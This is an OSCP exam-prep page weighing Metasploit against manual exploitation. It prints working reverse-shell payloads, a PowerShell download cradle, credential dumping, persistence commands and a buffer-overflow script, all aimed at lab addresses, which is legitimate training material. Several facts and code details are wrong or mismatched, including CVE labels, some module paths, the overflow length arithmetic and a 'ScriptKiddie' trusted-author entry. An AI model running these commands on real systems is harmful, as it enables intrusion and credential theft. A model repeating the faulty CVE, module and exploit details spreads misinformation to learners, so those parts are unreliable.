Domain 5Pivoting & MetasploitCORE

When to Use vs When to Avoid Metasploit

Strategic decision framework for choosing between Metasploit and manual exploitation during the OSCP exam, covering when Metasploit is the best tool and when manual approaches are preferred.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#metasploit#strategy#decision-making#manual-exploitation#exam-tips

When to Use vs When to Avoid Metasploit

Key Mindset: Metasploit is a tool, not a crutch. The OSCP exam rewards methodical thinking, not just tool usage. Knowing when to reach for Metasploit — and when to put it down — separates passing candidates from those who get stuck.


Table of Contents

  1. Decision Framework
  2. When to USE Metasploit
  3. When to AVOID Metasploit
  4. Reliability Assessment
  5. OSCP-Specific Guidance
  6. Hybrid Approach
  7. Common Exam Scenarios and Recommendations

1. Decision Framework

This decision tree should be your mental model during the exam. Work through each node sequentially:

Vulnerability Identified
        │
        ▼
  Is there a known CVE?
   ┌────┴────┐
  Yes       No
   │          │
   ▼          ▼
Metasploit   → Manual exploitation ONLY
module       (no module can exist without
exists?      a known vulnerability signature)
   │
   └──┬───┘
   Yes  No
    │    │
    ▼    ▼
Module   → Manual exploitation
reliable? (write your own exploit or use
   │       existing scripts/exploits)
   └──┬───┘
   Yes  No
    │    │
    ▼    ▼
USE     → Attempt with caution,
MSF      have manual fallback ready
         (time-box to 5 minutes)

Decision Point Explanations

Is there a known CVE?

  • If you found a vulnerability through manual testing (e.g., SQL injection, directory traversal, weak credentials), and it maps to a known CVE, Metasploit may have a module.
  • If the vulnerability is zero-day, logic-based, or configuration-specific with no CVE, Metasploit cannot help. Move to manual exploitation immediately.

Does a Metasploit module exist?

  • Run searchsploit and msfconsole searches. If no module exists for your exact target/version combination, Metasploit is off the table for exploitation.
  • A module for a similar product or older version is NOT a substitute. Version mismatches cause silent failures.

Is the module reliable?

  • Check the module rank, check code presence, and last update date. A module ranked Manual with no check code and last updated in 2014 is a liability, not an asset.
  • If reliability is questionable, time-box the attempt and prepare a manual fallback.

2. When to USE Metasploit

2.1 Known CVE with Reliable Module (Fastest Path)

When you have a confirmed CVE and a well-tested Metasploit module, this is the fastest path to exploitation.

Example: MS17-010 (EternalBlue)

# Quick and reliable
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
exploit

Why Metasploit wins here: EternalBlue involves complex SMBv1 exploitation with heap spraying and kernel memory corruption. Replicating this manually would require deep Windows kernel knowledge and hours of development. The Metasploit module handles all the complexity.

2.2 Complex Exploits (Hard to Do Manually)

Certain exploit classes are extremely difficult to replicate manually:

Exploit Class Why Manual is Hard Metasploit Advantage
Kernel exploits Requires ring-0 understanding, ASLR/DEP bypass Pre-built, tested payloads
RCE via complex deserialization Gadget chain construction Automated chain building
Heap exploitation Heap layout knowledge, non-deterministic Deterministic, tested modules
Protocol-level exploits Binary protocol encoding Built-in protocol handlers

Example: Exchange Server ProxyLogon

# ProxyLogon (CVE-2021-34473) - complex multi-stage exploit
use exploit/windows/http/exchange_proxylogon_rce
set RHOSTS 10.10.10.10
set TARGETURI /owa
exploit

Manually exploiting ProxyLogon requires understanding IIS request smuggling, ECP endpoint abuse, and ASPX web shell upload — a multi-step chain that Metasploit automates.

2.3 Payload Generation (msfvenom is Unmatched)

msfvenom remains the best-in-class payload generator. Even when you exploit manually, use msfvenom for payload creation.

# Windows reverse shell (most common OSCP payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe

# PowerShell one-liner (for web delivery)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f psh-reflection

# Linux ELF reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf

# PHP reverse shell (for web servers)
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php

# Bash reverse shell (for Linux command injection)
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.5 LPORT=443 -f raw

Why msfvenom wins:

  • Staging payloads (meterpreter) handle unreliable connections
  • Encoding options bypass basic AV
  • Multiple format outputs (exe, dll, elf, php, asp, jsp, war, etc.)
  • Consistent, reliable output every time

2.4 Meterpreter Needed (Best-in-Class Post-Exploitation)

When you need advanced post-exploitation capabilities, Meterpreter is unmatched:

# After getting a Meterpreter session:

# Credential harvesting
hashdump
kiwi_cmd # if mimikatz is available

# System information
sysinfo
getuid
getsystem

# Network discovery
run post/multi/recon/local_exploit_suggester
ipconfig
netview

# File operations
download /path/to/target/file /local/path/
upload /local/path/file.exe /remote/path/

# Persistence
run persistence -X -i 5 -p 443 -l 10.10.14.5

# Port forwarding and pivoting
portfwd add -l 8080 -p 80 -r 10.10.10.20
run autoroute -s 10.10.10.0/24

Key Meterpreter advantages for OSCP:

  • getsystem for privilege escalation (Windows)
  • run post/multi/recon/local_exploit_suggester for finding further exploits
  • Built-in keylogging, screenshot capture, and audio recording
  • Automatic process migration for stability

2.5 Time Pressure (Exam Efficiency)

During the 23-hour exam, time is your most valuable resource. Use Metasploit when:

  • You have multiple machines to compromise and need speed
  • A module is known to work (from prior experience or research)
  • The manual alternative would take 30+ minutes vs. 2 minutes with Metasploit

Time comparison example — Tomcat_mgr authentication bypass:

Approach Estimated Time
Metasploit module ~2 minutes
Manual (write Python exploit, test, deploy) ~45-60 minutes

2.6 Pivoting and SOCKS Proxy (Built-in Routing)

Metasploit’s built-in routing and SOCKS proxy is essential for multi-network engagements:

# Set up SOCKS proxy through Meterpreter session
use auxiliary/server/socks_proxy

# Or use Meterpreter autoroute for direct routing
run autoroute -s 10.10.10.0/24
run autoroute -p

# Now use routed sessions with tools
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set THREADS 20
exploit

# Or configure proxychains to route external tools
# /etc/proxychains4.conf:
# socks5 127.0.0.1 1080

When this matters: Internal-only machines (no direct access from your Kali VM) require pivoting. Metasploit’s autoroute + socks_proxy combination is the fastest way to establish multi-hop access.

2.7 Script Delivery (web_delivery is Very Reliable)

The multi/script/web_delivery module is one of the most reliable exploitation paths in the entire framework:

use exploit/multi/script/web_delivery
set TARGET 2          # PowerShell (Windows)
set URIPATH /update
set LHOST 10.10.14.5
set LPORT 8443
exploit

# Victim executes:
# PowerShell:
# powershell.exe -NoP -Exec Bypass -c "(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8443/update')"

Why web_delivery is special:

  • Works across Windows, Linux (Python, Ruby, Bash), and macOS
  • No file drop required (in-memory execution)
  • Highly reliable even on modern systems
  • Perfect when you have command injection but no file upload

3. When to AVOID Metasploit

3.1 Simple Exploits That Are Easy Manually

Some vulnerabilities are so straightforward that Metasploit adds unnecessary complexity:

Example: Simple Buffer Overflow with Known Offset

# Manual exploit is often cleaner and more reliable
# msf_exploit.py
import socket

target = "10.10.10.10"
port = 1337

# Known crash at 2006 bytes, offset to EIP at 2003
buffer = b"A" * 2003          # Padding to EIP
buffer += b"\x61\x50\x42\x7c" # JMP ESP (from seh.dll, no ASLR)
buffer += b"\x90" * 16        # NOP sled
buffer += PAYLOAD              # msfvenom-generated shellcode
buffer += b"B" * (2006 - len(buffer))  # Fill to crash length

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(b"TEXT " + buffer + b"\r\n")
s.close()

Why manual wins here: The exploit is a simple network buffer overflow. Writing a 15-line Python script gives you full control, easier debugging, and no dependency on Metasploit module quirks.

3.2 Unreliable Metasploit Modules

Red flags for unreliable modules:

# Check module info before using
msf6 > use exploit/windows/smb/some_module
msf6 exploit(some_module) > info

# Red flags:
#   - Rank: Manual
#   - Check: No
#   - Last updated: 2012 or earlier
#   - Author: Unknown/unverified contributor
#   - Description: Vague or poorly written

What to do instead:

  • Search for a manual exploit on ExploitDB: searchsploit <product> <version>
  • Write your own exploit based on the CVE details
  • Use an alternative exploitation method

3.3 When You Need Deep Understanding

During the exam, you may need to modify an exploit for a specific environment. Manual exploits are easier to understand and modify:

# Easy to tweak a manual exploit
# Change the offset:
buffer = b"A" * 2003  # Change to 2002, 2004, etc.

# Change the return address:
buffer += b"\x61\x50\x42\x7c"  # Swap for different module address

# Add/remove NOPs:
buffer += b"\x90" * 16  # Adjust NOP sled size

Metasploit modules abstract away these details, making debugging harder when things go wrong.

3.4 Module Does Not Exist for Your Scenario

Not every vulnerability has a Metasploit module. Common gaps:

  • Custom web applications with business logic flaws
  • Configuration-based vulnerabilities (misconfigured services)
  • Authentication bypass via parameter manipulation
  • File inclusion vulnerabilities in custom code
  • Race conditions and TOCTOU vulnerabilities

3.5 Manual Exploit Gives More Control

When you need fine-grained control over the exploitation process:

  • Staged payload delivery (drop file, then execute separately)
  • Custom encoding to bypass specific AV/EDR
  • Exploitation with specific timing requirements
  • Multi-stage attacks where each stage needs different handling

3.6 Metasploit Is Detected or Blocked

Some OSCP machines have defenses against Metasploit:

  • AV/EDR signatures for Meterpreter DLLs
  • Network IDS detecting Metasploit traffic patterns
  • Application whitelisting blocking known Metasploit artifacts

Detection indicators:

  • Module works in lab but fails on target
  • Session dies immediately after connection
  • Target system logs show Metasploit-related alerts

Fallback: Switch to manual exploitation with custom payloads. Use shell_reverse_tcp instead of Meterpreter, or generate payloads with alternative tools (Veil, Custom C shellcode).


4. Reliability Assessment

4.1 Module Rank System

Metasploit assigns each module a reliability rank. Use this as your first filter:

Rank Meaning Exam Recommendation
Excellent Automated detection, highly reliable Use with confidence
Great Very reliable, minimal failure rate Use with confidence
Good Reliable with known targets Use, but verify target compatibility
Normal Works but may need tuning Use with caution, have fallback
Average Hit-or-miss reliability Time-box to 3 minutes
Manual Requires manual configuration, unverified Avoid unless no alternative

4.2 Check Code Presence

Modules with check code can verify vulnerability before exploitation:

msf6 exploit(handler) > check
[*] 10.10.10.10: The target is vulnerable.

# vs.

[*] 10.10.10.10: The target is not vulnerable.

Why this matters: A module with check code saves time by confirming exploitability before you commit. Modules without check code may silently fail or cause system instability.

4.3 Other Reliability Indicators

Indicator Reliable Signal Unreliable Signal
Author begueradj, wvu, ScriptKiddiе (known contributors) Unknown single-letter usernames
Last Updated Within last 2-3 years 2012 or earlier
References Multiple CVE, URL, and paper references Single or no references
Targets Multiple auto-detect targets Single hardcoded target
Comments Well-documented, explains approach Minimal or no comments

5. OSCP-Specific Guidance

5.1 Minimum Viable Product (MVP) Approach

The OSCP exam is not about using the most elegant technique. It is about getting the flags efficiently:

  1. If Metasploit works on the first try → Use it. No ego, no “I should do this manually to prove myself.”
  2. If Metasploit fails after reasonable effort → Switch to manual. Do not spend 30 minutes debugging a module.
  3. Document both approaches in your methodology document — examiners appreciate thoroughness.

5.2 Don’t Waste Time Debugging Unreliable Modules

The 5-Minute Rule: If a Metasploit module does not produce a session within 5 minutes of first attempt, switch approaches.

Start Metasploit attempt
    │
    ▼
Set 5-minute timer
    │
    ▼
Module produces session?
   ┌──┴──┐
  Yes    No
   │      │
   ▼      ▼
Capture  Analyze failure:
evidence - Wrong target version?
          - Module rank too low?
          - Network issue?
    │
    ▼
Fixable in 2 min?
   ┌──┴──┐
  Yes     No
   │       │
   ▼       ▼
Retry   Switch to
once    manual exploit

5.3 Always Have a Fallback Plan

Before launching any Metasploit exploit, identify your fallback:

# Before exploiting, prepare fallback options
searchsploit <product> <version>     # Manual exploits available?
searchsploit <product> bypass         # Alternative attack vectors?
# Note down at least one manual exploit path as backup

5.4 Time Boxing Strategy

Machine Type Metasploit Time Budget Fallback Deadline
Easy / Low 10 minutes 15 minutes total
Medium 15 minutes 25 minutes total
Hard / High 20 minutes 40 minutes total
Active Directory 30 minutes 60 minutes total

6. Hybrid Approach

The most effective OSCP strategy often combines Metasploit and manual techniques.

6.1 Metasploit for Payload Generation + Manual Exploitation

# Step 1: Generate payload with msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o payload.exe

# Step 2: Set up handler
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 443
exploit -j -z

# Step 3: Deliver payload manually (via web server, email, etc.)
python3 -m http.server 80
# Victim downloads and executes payload.exe

Best for: When you have a manual exploitation path (e.g., file upload, command injection) but want Meterpreter for post-exploitation.

6.2 Manual Exploitation + Metasploit for Post-Exploitation

# Step 1: Get initial access manually (e.g., SQL injection, web shell)
# ... manual exploitation ...

# Step 2: Upgrade shell to Meterpreter
# From reverse shell, use msfvenom to generate a stager
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o upgrade.exe

# Upload and execute on target
# Handler catches the Meterpreter session

Best for: When manual exploitation is the only path, but you want Meterpreter capabilities for lateral movement and privilege escalation.

6.3 Metasploit for Scanning + Manual for Exploitation

# Use Metasploit for reconnaissance
use auxiliary/scanner/http/vulnerability_scanner
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/smb/smb_version

# Use gathered intel for manual exploitation
# ... write custom exploit based on findings ...

Best for: When you want Metasploit’s comprehensive scanning capabilities but plan to exploit manually for reliability or control.


7. Common Exam Scenarios and Recommendations

Vulnerability / Service CVE Metasploit Module Recommendation Reliability
MS17-010 (EternalBlue) CVE-2017-0144 windows/smb/ms17_010_eternalblue USE MSF — too complex manually Excellent
PrintNightmare CVE-2021-34527 windows/http/ms_printnightmare_2 USE MSF — complex RPC exploit Great
Exchange ProxyLogon CVE-2021-34473 windows/http/exchange_proxylogon_rce USE MSF — multi-stage chain Great
Log4Shell CVE-2021-44228 multi/http/log4shell_jndi_injection USE MSF — reliable and fast Excellent
Simple Buffer Overflow N/A N/A or low-rank MANUAL — Python script is cleaner N/A
SQL Injection (custom app) N/A N/A MANUAL — no module for custom logic N/A
Weak Credentials N/A admin_interfaces/* EITHER — MSF for speed, manual for control Good
File Upload Vuln N/A N/A MANUAL + msfvenom payload N/A
SSH Brute Force N/A scanner/ssh/ssh_login USE MSF — efficient scanning Good
SMB Relay N/A exploit/smb/smb_relay USE MSF — complex protocol work Great
Drupalgeddon CVE-2018-7600 multi/http/drupal_drupalgeddon2 USE MSF — reliable Excellent
Apache Struts RCE CVE-2017-5638 multi/http/struts2_content_type_ognl USE MSF — complex OGNL injection Good
Tomcat_mgr Weak Auth CVE-2017-12615 multi/http/tomcat_jsp_upload_bypass USE MSF if rank Good+ Good
Custom Web App LFI/RFI N/A N/A MANUAL — no module exists N/A
Kerberoasting N/A exploit/windows/gather/kerberoasting USE MSF or Rubeus Great
ZeroLogon CVE-2020-1472 exploit/windows/misc/zerologon USE MSF — complex DC exploit Excellent

Quick Decision Cheat Sheet

Situation Go With
Known CVE + Excellent/Great rank module Metasploit
Known CVE + Manual rank module Manual exploit
No CVE, custom vulnerability Manual exploit
Need payload generation msfvenom (always)
Need post-exploitation Meterpreter (always)
Need pivoting Metasploit autoroute + SOCKS
Module fails in 5 minutes Switch to manual
Complex kernel/RPC exploit Metasploit
Simple web app vuln Manual
Time pressure, module known to work Metasploit

Final Thoughts

The OSCP exam tests your ability to think strategically about tool selection. Metasploit is an incredibly powerful framework, but it is not a silver bullet. The most successful candidates are those who:

  1. Know when Metasploit is the right tool and use it confidently
  2. Know when to walk away from a failing module and switch approaches
  3. Combine tools intelligently — using each tool for what it does best
  4. Always have a fallback plan before committing to any exploitation path

Remember: the exam rewards results, not methodology. Use whatever gets you the flag fastest and most reliably.